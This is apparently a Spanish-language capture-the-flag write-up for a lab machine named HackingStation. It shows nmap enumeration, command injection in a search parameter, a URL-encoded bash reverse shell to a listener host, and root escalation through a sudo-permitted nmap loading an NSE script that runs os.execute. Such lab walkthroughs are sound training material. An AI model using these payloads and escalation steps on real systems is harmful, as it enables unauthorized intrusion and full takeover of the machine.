Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.56❯ nmap -sCV -p 80 -oN 02-targeted.txt 192.168.1.56
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-20 14:27 -04
Nmap scan report for 192.168.1.56
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: HackingStation
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 secondsEl sitio es un buscador de vulnerabilidades que envía el término introducido como parámetro en la URL:
http://192.168.1.56/exploitQuery.php?product=testProbamos si el parámetro es vulnerable a LFI o RCE; tenemos éxito con la inyección de comandos añadiendo un ; seguido del comando, que se ejecuta y devuelve la salida junto al resultado JSON:
http://192.168.1.56/exploitQuery.php?product=weaita;%20id
[
"{",
"\t\"SEARCH\": \"weaita\",",
"\t\"DB_PATH_EXPLOIT\": \"\/snap\/searchsploit\/511\/opt\/exploitdb\",",
"\t\"RESULTS_EXPLOIT\": [\t],",
"\t\"DB_PATH_SHELLCODE\": \"\/snap\/searchsploit\/511\/opt\/exploitdb\",",
"\t\"RESULTS_SHELLCODE\": [\t]",
"}",
"uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)"
]Convertimos la inyección en una reverse shell:
http://192.168.1.56/exploitQuery.php?product=weaita;bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.5/1234%200%3E%261%22
❯ ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.56:44560.
bash: cannot set terminal process group (539): Inappropriate ioctl for device
bash: no job control in this shell
hacker@HackingStation:/var/www/html$Obtenemos una shell como hacker y la primera flag.
Para escalar privilegios, revisamos los permisos sudo:
hacker@HackingStation:/home/hacker$ sudo -l
Matching Defaults entries for hacker on HackingStation:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User hacker may run the following commands on HackingStation:
(root) NOPASSWD: /usr/bin/nmapPodemos ejecutar nmap como root, lo que abre varios vectores (GTFOBins). Nos interesa una shell, así que creamos un script NSE que ejecute Bash y lo cargamos con --script:
hacker@HackingStation:/tmp$ cat pwned.sh
os.execute("/bin/bash")
hacker@HackingStation:/tmp$ sudo nmap --script=pwned.sh
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-20 20:49 CEST
NSE: Warning: Loading 'pwned.sh' -- the recommended file extension is '.nse'.
root@HackingStation:/tmp#Obtenemos la flag y fin.